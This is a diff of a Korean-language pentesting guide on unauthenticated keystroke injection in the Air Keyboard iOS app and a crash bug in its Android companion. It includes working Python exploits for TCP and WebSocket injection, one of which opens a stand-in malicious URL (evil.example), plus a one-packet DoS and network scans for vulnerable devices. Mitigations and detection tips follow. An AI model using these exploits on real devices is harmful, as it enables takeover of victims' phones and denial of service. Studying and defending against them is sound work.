diff --git a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md index 1acdf61eb..709aca92e 100644 --- a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md +++ b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md @@ -1,91 +1,173 @@ -# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener) +# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener) {{#include ../../banners/hacktricks-training.md}} ## TL;DR -상업용 "Air Keyboard" 애플리케이션(iOS 버전, App Store ID 6463187929)은 **포트 8888에서 평문 TCP 서비스를 열어** 인증 없이 키스트로크 프레임을 수락합니다. 동일한 Wi-Fi 네트워크에 있는 모든 장치는 해당 포트에 연결하여 피해자의 전화에 임의의 키보드 입력을 주입할 수 있으며, **완전 원격 상호작용 탈취**를 달성할 수 있습니다. +상업용 **“Air Keyboard”** 애플리케이션의 iOS 버전(App Store ID 6463187929)은 **인증이나 출처 검증 없이 키스트로크 프레임을 수락하는 로컬 네트워크 서비스를 노출합니다**. 설치된 버전에 따라 서비스는 다음과 같습니다: -동반 Android 빌드는 **포트 55535**에서 수신 대기합니다. 약한 AES-ECB 핸드셰이크를 수행하지만, 조작된 쓰레기 데이터가 **OpenSSL 복호화 루틴에서 처리되지 않은 예외를 발생시켜** 백그라운드 서비스를 충돌시킵니다(**DoS**). +* **≤ 1.0.4** – **포트 8888**에서 2바이트 길이 헤더 다음에 *device-id*와 ASCII 페이로드를 기대하는 원시 TCP 리스너. +* **≥ 1.0.5 (2025년 6월)** – **WebSocket** 리스너가 *같은* 포트(**8888**)에서 `{"type":1,"text":"…"}`와 같은 **JSON** 키를 파싱합니다. -## 1. Service Discovery +따라서 동일한 Wi-Fi / 서브넷에 있는 모든 장치는 **피해자의 전화기에 임의의 키보드 입력을 주입하여 완전 원격 상호작용 탈취를 달성할 수 있습니다**. +동반 Android 빌드는 **포트 55535**에서 리스닝합니다. 약한 AES-ECB 핸드셰이크를 수행하지만 조작된 쓰레기 데이터는 여전히 **OpenSSL 내부에서 처리되지 않은 예외를 발생시켜** 백그라운드 서비스를 충돌시킵니다(**DoS**). + +> 이 취약점은 **작성 시점(2025년 7월)에서 여전히 패치되지 않았으며** 애플리케이션은 App Store에서 사용할 수 있습니다. + +--- + +## 1. 서비스 검색 로컬 네트워크를 스캔하고 앱에서 사용하는 두 개의 고정 포트를 찾습니다: ```bash -# iOS (input-injection) +# iOS (unauthenticated input-injection) nmap -p 8888 --open 192.168.1.0/24 # Android (weakly-authenticated service) nmap -p 55535 --open 192.168.1.0/24 ``` -안드로이드 핸드셋에서는 책임 패키지를 로컬에서 식별할 수 있습니다: +안드로이드 핸드셋에서는 책임 있는 패키지를 로컬에서 식별할 수 있습니다: ```bash -adb shell netstat -tulpn | grep 55535 # no root required on emulator - +adb shell netstat -tulpn | grep 55535 # no root required on emulator # rooted device / Termux netstat -tulpn | grep LISTEN -ls -l /proc//cmdline # map PID → package name +ls -l /proc//cmdline # map PID → package name ``` -## 2. 프레임 형식 (iOS) +On **jailbroken iOS**에서는 `lsof -i -nP | grep LISTEN | grep 8888`와 유사한 작업을 수행할 수 있습니다. -이진 파일은 `handleInputFrame()` 루틴 내에서 다음과 같은 파싱 로직을 드러냅니다: +--- + +## 2. 프로토콜 세부정보 (iOS) + +### 2.1 레거시 (≤ 1.0.4) – 사용자 정의 이진 프레임 ``` [length (2 bytes little-endian)] [device_id (1 byte)] [payload ASCII keystrokes] ``` -선언된 길이는 `device_id` 바이트를 포함하지만 **헤더 자체의** 두 바이트는 포함하지 않습니다. +선언된 *길이*는 `device_id` 바이트를 **포함하지만** 두 바이트 헤더 자체는 포함하지 않습니다. -## 3. Exploitation PoC +### 2.2 현재 (≥ 1.0.5) – WebSocket을 통한 JSON + +버전 1.0.5는 포트 번호를 변경하지 않고 WebSocket으로 조용히 마이그레이션되었습니다. 최소한의 키 입력은 다음과 같습니다: +```json +{ +"type": 1, // 1 = insert text, 2 = special key +"text": "open -a Calculator\n", +"mode": 0, +"shiftKey": false, +"selectionStart": 0, +"selectionEnd": 0 +} +``` +핸드셰이크, 토큰 또는 서명이 필요하지 않습니다 – 첫 번째 JSON 객체가 이미 UI 이벤트를 트리거합니다. + +--- + +## 3. 익스플로잇 PoC + +### 3.1 타겟 ≤ 1.0.4 (원시 TCP) ```python #!/usr/bin/env python3 -"""Inject arbitrary keystrokes into Air Keyboard for iOS""" +"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)""" import socket, sys -target_ip = sys.argv[1] # e.g. 192.168.1.50 -keystrokes = b"open -a Calculator\n" # payload visible to the user +target_ip = sys.argv[1] # e.g. 192.168.1.50 +keystrokes = b"open -a Calculator\n" # payload visible to the user frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8]) -frame += b"\x01" # device_id = 1 (hard-coded) +frame += b"\x01" # device_id = 1 (hard-coded) frame += keystrokes with socket.create_connection((target_ip, 8888)) as s: s.sendall(frame) -print("Injected", keystrokes) +print("[+] Injected", keystrokes) ``` -인쇄 가능한 모든 ASCII(`\n`, `\r`, 특수 키 등 포함)는 전송될 수 있으며, 이는 공격자에게 물리적 사용자 입력과 동일한 권한을 부여합니다: 앱 실행, IM 전송, 피싱 URL 방문 등. +### 3.2 Targeting ≥ 1.0.5 (WebSocket) +```python +#!/usr/bin/env python3 +"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)""" +import json, sys, websocket # `pip install websocket-client` + +target_ip = sys.argv[1] +ws = websocket.create_connection(f"ws://{target_ip}:8888") +ws.send(json.dumps({ +"type": 1, +"text": "https://evil.example\n", +"mode": 0, +"shiftKey": False, +"selectionStart": 0, +"selectionEnd": 0 +})) +ws.close() +print("[+] URL opened on target browser") +``` +*인쇄 가능한 모든 ASCII — 줄 바꿈, 탭 및 대부분의 특수 키를 포함하여 — 전송될 수 있으며, 이는 공격자에게 물리적 사용자 입력과 동일한 권한을 부여합니다: 앱 실행, IM 전송, 악성 URL 열기, 설정 전환 등.* + +--- ## 4. Android Companion – 서비스 거부 -Android 포트(55535)는 **하드코딩된 AES-128-ECB 키**로 암호화된 4자 비밀번호와 랜덤 논스를 기대합니다. 구문 분석 오류는 `AES_decrypt()`로 전파되며 포착되지 않아 리스너 스레드를 종료합니다. 따라서 단일 잘못된 패킷만으로도 프로세스가 다시 시작될 때까지 합법적인 사용자가 연결이 끊어지게 할 수 있습니다. +Android 포트(55535)는 **하드코딩된 AES-128-ECB 키로 암호화된 4자 비밀번호**와 랜덤 논스가 뒤따르기를 기대합니다. 구문 오류는 `AES_decrypt()`로 전파되며 포착되지 않아 리스너 스레드를 종료합니다. 따라서 단일 잘못된 패킷만으로도 프로세스가 다시 시작될 때까지 합법적인 사용자를 연결 해제 상태로 유지할 수 있습니다. ```python import socket socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS ``` -## 5. Root Cause +--- -1. **수신 프레임에 대한 출처 / 무결성 검사 없음** (iOS). +## 5. 관련 앱 – 반복되는 안티 패턴 + +Air Keyboard는 **고립된 사례가 아닙니다**. 다른 모바일 “원격 키보드/마우스” 유틸리티도 동일한 결함을 가지고 출시되었습니다: + +* **Telepad ≤ 1.0.7** – CVE-2022-45477/78는 인증되지 않은 명령 실행 및 평문 키 로깅을 허용합니다. +* **PC Keyboard ≤ 30** – CVE-2022-45479/80 인증되지 않은 RCE 및 트래픽 스누핑. +* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 기본 비밀번호 없음, 약한 PIN 무차별 대입 및 평문 유출. + +이 사례들은 **모바일 앱의 네트워크 공격 표면에 대한 체계적인 무시**를 강조합니다. + +--- + +## 6. 근본 원인 + +1. **수신 프레임에 대한 출처/무결성 검사 없음** (iOS). 2. **암호화 오용** (정적 키, ECB, 길이 검증 누락) 및 **예외 처리 부족** (Android). +3. **사용자 부여 로컬 네트워크 권한 ≠ 보안** – iOS는 LAN 트래픽에 대한 런타임 동의를 요청하지만, 적절한 인증을 대체하지는 않습니다. -## 6. Mitigations & Hardening Ideas +--- -* 모바일 핸드셋에서 인증되지 않은 서비스를 노출하지 마십시오. -* 온보딩 중 장치별 비밀을 파생하고 입력을 처리하기 전에 이를 검증하십시오. -* 리스너를 `127.0.0.1`에 바인딩하고 원격 제어를 위해 상호 인증된 암호화된 전송(예: TLS, Noise)을 사용하십시오. -* 모바일 보안 검토 중 예상치 못한 열린 포트를 감지하십시오 (`netstat`, `lsof`, `frida-trace` on `socket()` 등). -* 최종 사용자로서: Air Keyboard를 제거하거나 신뢰할 수 있는 격리된 Wi-Fi 네트워크에서만 사용하십시오. +## 7. 강화 및 방어 조치 -## Detection Cheat-Sheet (Pentesters) +개발자 권장 사항: + +* 리스너를 **`127.0.0.1`**에 바인딩하고 원격 제어가 필요할 경우 **mTLS** 또는 **Noise XX**를 통해 터널링합니다. +* **온보딩 중 장치별 비밀을 파생** (예: QR 코드 또는 페어링 PIN)하고 입력 처리를 하기 전에 *상호* 인증을 시행합니다. +* 원시 소켓 대신 **Apple Network Framework**를 *NWListener* + TLS와 함께 채택합니다. +* 프레임을 복호화하거나 디코딩할 때 **길이 접두사 정상성 검사** 및 구조화된 예외 처리를 구현합니다. + +블루/레드 팀의 빠른 승리: + +* **네트워크 헌팅:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` 또는 Wireshark 필터 `tcp.port == 8888`. +* **런타임 검사:** Frida 스크립트 후킹 `socket()`/`NWConnection`으로 예상치 못한 리스너 목록화. +* **iOS 앱 개인정보 보고서 (설정 ▸ 개인정보 및 보안 ▸ 앱 개인정보 보고서)**는 LAN 주소에 연락하는 앱을 강조합니다 – 악성 서비스를 발견하는 데 유용합니다. +* **모바일 EDR**은 포트 8888의 평문 TCP 페이로드 내 JSON 키 `"selectionStart"`, `"selectionEnd"`에 대한 간단한 Yara-L 규칙을 추가할 수 있습니다. + +--- + +## 탐지 요약 (펜테스터) ```bash -# Quick one-liner to locate vulnerable devices in a /24 -nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}' +# Locate vulnerable devices in a /24 and print IP + list of open risky ports +nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \ +| awk '/Ports/{print $2 " " $4}' # Inspect running sockets on a connected Android target -adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done" +adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \ +echo -n \"$p → \"; cat /proc/$p/cmdline; done" ``` +--- + ## References -- [Air Keyboard iOS 앱의 원격 입력 주입 취약점 여전히 패치되지 않음](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) -- [CXSecurity 권고 WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015) +- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333) +- [Mobile-Hacker Blog (17 Jul 2025) – Air Keyboard iOS 앱의 원격 입력 주입 취약점 여전히 패치되지 않음](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) {{#include ../../banners/hacktricks-training.md}}